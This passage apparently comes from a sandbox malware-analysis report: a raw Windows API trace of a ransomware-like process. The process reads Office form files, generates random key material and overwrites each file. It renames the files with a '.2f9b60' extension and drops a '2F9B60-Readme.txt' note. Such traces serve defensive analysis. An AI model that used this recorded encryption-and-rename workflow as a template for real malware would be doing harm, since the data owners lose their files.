lpFileSize=0x3c2af680*=968) returned 1 [0142.193] SetFilePointerEx (in: hFile=0x1fa0, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.193] ReadFile (in: hFile=0x1fa0, lpBuffer=0x3c2af600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c2af648, lpOverlapped=0x0 | out: lpBuffer=0x3c2af600*, lpNumberOfBytesRead=0x3c2af648*=0x4, lpOverlapped=0x0) returned 1 [0142.213] SetFilePointerEx (in: hFile=0x1fa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feb00 [0142.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feb90 [0142.213] NtQuerySystemTime (in: CurrentTime=0x3c2af540 | out: CurrentTime=0x3c2af540*=132462177474586000) returned 0x0 [0142.213] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x7610ebb3 [0142.213] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x42a5e5e2 [0142.213] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x2c39af6 [0142.213] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x1ee780d3 [0142.213] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x47e070ae [0142.213] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x575d8bde [0142.213] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x5c90368f [0142.213] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x4cd653ae [0142.213] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x25a66727 [0142.213] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x4241e9fe [0142.213] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x7283ac0f [0142.213] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x7238137d [0142.213] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x32daa958 [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x4aa4bdda [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x34e54f0f [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x6fa9c73 [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x1ff4ce9d [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x3e4878d4 [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x20324fa2 [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x42035c2b [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x607a7e82 [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x37ef4bc9 [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x3747fdab [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0xc6efb90 [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x7a91f258 [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x6d8250ab [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x3326bd7b [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x1239d11c [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x40c978b5 [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x845e0f3 [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x705f07ff [0142.214] RtlRandomEx (in: Seed=0x3c2af530 | out: Seed=0x3c2af530) returned 0x6ba14b7 [0142.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204febc0 [0142.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0142.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204febf0 [0142.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0142.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feb90) returned 1 [0142.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d80 [0142.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0142.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421bf200 [0142.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421b01c0 [0142.225] ReadFile (in: hFile=0x1fa0, lpBuffer=0x421bf200, nNumberOfBytesToRead=0x3c8, lpNumberOfBytesRead=0x3c2af530, lpOverlapped=0x0 | out: lpBuffer=0x421bf200*, lpNumberOfBytesRead=0x3c2af530*=0x3c8, lpOverlapped=0x0) returned 1 [0142.225] SetFilePointerEx (in: hFile=0x1fa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.226] WriteFile (in: hFile=0x1fa0, lpBuffer=0x421b01c0*, nNumberOfBytesToWrite=0x3c8, lpNumberOfBytesWritten=0x3c2af534, lpOverlapped=0x0 | out: lpBuffer=0x421b01c0*, lpNumberOfBytesWritten=0x3c2af534*=0x3c8, lpOverlapped=0x0) returned 1 [0143.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0143.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ef0 [0143.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ef0) returned 1 [0143.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421b01c0) returned 1 [0143.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421bf200) returned 1 [0143.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0143.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d80) returned 1 [0143.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7ef0 [0143.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d80 [0143.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0143.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0143.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c20) returned 1 [0143.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7c20 [0143.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0143.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0143.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0143.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0143.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d80) returned 1 [0143.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167ca0 [0143.356] SetFilePointerEx (in: hFile=0x1fa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.356] WriteFile (in: hFile=0x1fa0, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3c2af650, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x3c2af650*=0x10a, lpOverlapped=0x0) returned 1 [0143.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feb60 [0143.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feb60) returned 1 [0143.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0143.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feb60 [0143.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feb30 [0143.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feb30) returned 1 [0143.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa1a0 [0143.575] sprintf (in: _Dest=0x1b7aa1a0, _Format="%c%c" | out: _Dest="a8") returned 2 [0143.575] sprintf (in: _Dest=0x1b7aa1a2, _Format="%c%c" | out: _Dest="42") returned 2 [0143.575] sprintf (in: _Dest=0x1b7aa1a4, _Format="%c%c" | out: _Dest="8c") returned 2 [0143.575] sprintf (in: _Dest=0x1b7aa1a6, _Format="%c%c" | out: _Dest="96") returned 2 [0143.575] sprintf (in: _Dest=0x1b7aa1a8, _Format="%c%c" | out: _Dest="7a") returned 2 [0143.575] sprintf (in: _Dest=0x1b7aa1aa, _Format="%c%c" | out: _Dest="0a") returned 2 [0143.575] sprintf (in: _Dest=0x1b7aa1ac, _Format="%c%c" | out: _Dest="8e") returned 2 [0143.575] sprintf (in: _Dest=0x1b7aa1ae, _Format="%c%c" | out: _Dest="34") returned 2 [0143.575] sprintf (in: _Dest=0x1b7aa1b0, _Format="%c%c" | out: _Dest="99") returned 2 [0143.575] sprintf (in: _Dest=0x1b7aa1b2, _Format="%c%c" | out: _Dest="f5") returned 2 [0143.575] sprintf (in: _Dest=0x1b7aa1b4, _Format="%c%c" | out: _Dest="45") returned 2 [0143.575] sprintf (in: _Dest=0x1b7aa1b6, _Format="%c%c" | out: _Dest="1b") returned 2 [0143.575] sprintf (in: _Dest=0x1b7aa1b8, _Format="%c%c" | out: _Dest="3d") returned 2 [0143.575] sprintf (in: _Dest=0x1b7aa1ba, _Format="%c%c" | out: _Dest="df") returned 2 [0143.575] sprintf (in: _Dest=0x1b7aa1bc, _Format="%c%c" | out: _Dest="01") returned 2 [0143.576] sprintf (in: _Dest=0x1b7aa1be, _Format="%c%c" | out: _Dest="43") returned 2 [0143.576] sprintf (in: _Dest=0x1b7aa1c0, _Format="%c%c" | out: _Dest="71") returned 2 [0143.576] sprintf (in: _Dest=0x1b7aa1c2, _Format="%c%c" | out: _Dest="c7") returned 2 [0143.576] sprintf (in: _Dest=0x1b7aa1c4, _Format="%c%c" | out: _Dest="5a") returned 2 [0143.576] sprintf (in: _Dest=0x1b7aa1c6, _Format="%c%c" | out: _Dest="bb") returned 2 [0143.576] sprintf (in: _Dest=0x1b7aa1c8, _Format="%c%c" | out: _Dest="e7") returned 2 [0143.576] sprintf (in: _Dest=0x1b7aa1ca, _Format="%c%c" | out: _Dest="b2") returned 2 [0143.576] sprintf (in: _Dest=0x1b7aa1cc, _Format="%c%c" | out: _Dest="12") returned 2 [0143.576] sprintf (in: _Dest=0x1b7aa1ce, _Format="%c%c" | out: _Dest="51") returned 2 [0143.576] RtlInitAnsiString (in: DestinationString=0x3c2af6c8, SourceString="a8428c967a0a8e3499f5451b3ddf014371c75abbe7b21251" | out: DestinationString="a8428c967a0a8e3499f5451b3ddf014371c75abbe7b21251") [0143.576] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c2af698, SourceString="a8428c967a0a8e3499f5451b3ddf014371c75abbe7b21251", AllocateDestinationString=1 | out: DestinationString="a8428c967a0a8e3499f5451b3ddf014371c75abbe7b21251") returned 0x0 [0143.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e9c0 [0143.576] RtlFreeAnsiString (AnsiString="a") [0143.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0143.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feb60) returned 1 [0143.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167ca0) returned 1 [0143.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c20) returned 1 [0143.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0143.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ef0) returned 1 [0143.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8280) returned 1 [0143.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feb00) returned 1 [0143.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204febc0) returned 1 [0143.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204febf0) returned 1 [0143.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x20507910 [0143.578] wcscat (in: _Dest=0x20507910, _Source="a8428c967a0a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a8428c967a0a") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a8428c967a0a" [0143.578] wcscat (in: _Dest=0x20507910, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a8428c967a0a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a8428c967a0a.2f9b60" [0143.578] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a8428c967a0a.2f9b60", NtPathName=0x3c2af670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a8428c967a0a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x1ce221a0 [0143.578] NtSetInformationFile (FileHandle=0x1fa0, IoStatusBlock=0x3c2af710, FileInformation=0x1ce221a0, Length=0xb2, FileInformationClass=0xa) returned 0x0 [0143.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce221a0) returned 1 [0143.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052dd0) returned 1 [0143.780] NtQueryInformationFile (in: FileHandle=0x1fa0, IoStatusBlock=0x3c2af6d8, FileInformation=0x3c2af6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c2af6d8, FileInformation=0x3c2af6e8) returned 0x0 [0143.780] NtSetInformationFile (FileHandle=0x1fa0, IoStatusBlock=0x3c2af6d8, FileInformation=0x3c2af6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507910) returned 1 [0143.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e9c0) returned 1 [0143.784] FlushFileBuffers (hFile=0x1fa0) returned 1 [0143.791] CloseHandle (hObject=0x1fa0) returned 1 [0143.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20507870 [0143.793] wcscpy (in: _Dest=0x20507870, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.793] wcscat (in: _Dest=0x20507870, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507870) returned 1 [0143.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ade0) returned 1 Thread: id = 2189 os_tid = 0x1640 [0140.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg")) returned 0x20 [0140.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG", dwFileAttributes=0x20) returned 1 [0140.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f80 [0142.280] GetFileSizeEx (in: hFile=0x1f80, lpFileSize=0x3c1afba0 | out: lpFileSize=0x3c1afba0*=789) returned 1 [0142.280] SetFilePointerEx (in: hFile=0x1f80, liDistanceToMove=0x311, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.280] ReadFile (in: hFile=0x1f80, lpBuffer=0x3c1afb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c1afb68, lpOverlapped=0x0 | out: lpBuffer=0x3c1afb20*, lpNumberOfBytesRead=0x3c1afb68*=0x4, lpOverlapped=0x0) returned 1 [0142.282] SetFilePointerEx (in: hFile=0x1f80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fed40 [0142.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fedd0 [0142.282] NtQuerySystemTime (in: CurrentTime=0x3c1afa60 | out: CurrentTime=0x3c1afa60*=132462177475210000) returned 0x0 [0142.282] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x6ca0178c [0142.282] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x22c34dab [0142.282] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x45b4738d [0142.282] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x567eb943 [0142.282] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x7dd835e [0142.282] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x7215e75e [0142.282] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x4089d841 [0142.282] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x548cbc77 [0142.282] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x41a01045 [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x74156778 [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x78804ca0 [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x7a75bb17 [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x47e070ae [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x74359afb [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x2360296e [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x13ea735b [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x34ba035a [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x4e1c8ee1 [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x78627da2 [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x30a61afc [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x33d1603 [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x5c24d985 [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x19261dda [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x29b041a [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x268511e2 [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x53d4264a [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x6b162eac [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x543dcc23 [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x5ba3b1cb [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x3f41ecf6 [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x4cfb7bbd [0142.283] RtlRandomEx (in: Seed=0x3c1afa50 | out: Seed=0x3c1afa50) returned 0x1cff0f56 [0142.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee00 [0142.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8672c0 [0142.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee30 [0142.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0142.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fedd0) returned 1 [0142.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059fb0 [0142.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8672c0 [0142.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422b5d50 [0142.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422b9960 [0142.292] ReadFile (in: hFile=0x1f80, lpBuffer=0x422b5d50, nNumberOfBytesToRead=0x315, lpNumberOfBytesRead=0x3c1afa50, lpOverlapped=0x0 | out: lpBuffer=0x422b5d50*, lpNumberOfBytesRead=0x3c1afa50*=0x315, lpOverlapped=0x0) returned 1 [0142.292] SetFilePointerEx (in: hFile=0x1f80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.292] WriteFile (in: hFile=0x1f80, lpBuffer=0x422b9960*, nNumberOfBytesToWrite=0x315, lpNumberOfBytesWritten=0x3c1afa54, lpOverlapped=0x0 | out: lpBuffer=0x422b9960*, lpNumberOfBytesWritten=0x3c1afa54*=0x315, lpOverlapped=0x0) returned 1 [0143.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d80 [0143.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0143.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83d0) returned 1 [0143.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422b9960) returned 1 [0143.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422b5d50) returned 1 [0143.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0143.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059fb0) returned 1 [0143.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1ced83d0 [0143.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059fb0 [0143.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8672c0 [0143.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81f0 [0143.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced81f0) returned 1 [0143.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1ced81f0 [0143.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7500 [0143.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6e70 [0143.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6e70) returned 1 [0143.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0143.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059fb0) returned 1 [0143.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x1693c0 [0143.373] SetFilePointerEx (in: hFile=0x1f80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.373] WriteFile (in: hFile=0x1f80, lpBuffer=0x1693c0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3c1afb70, lpOverlapped=0x0 | out: lpBuffer=0x1693c0*, lpNumberOfBytesWritten=0x3c1afb70*=0x102, lpOverlapped=0x0) returned 1 [0143.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feda0 [0143.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feda0) returned 1 [0143.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b7d5a50 [0143.605] RtlAllocateHeap 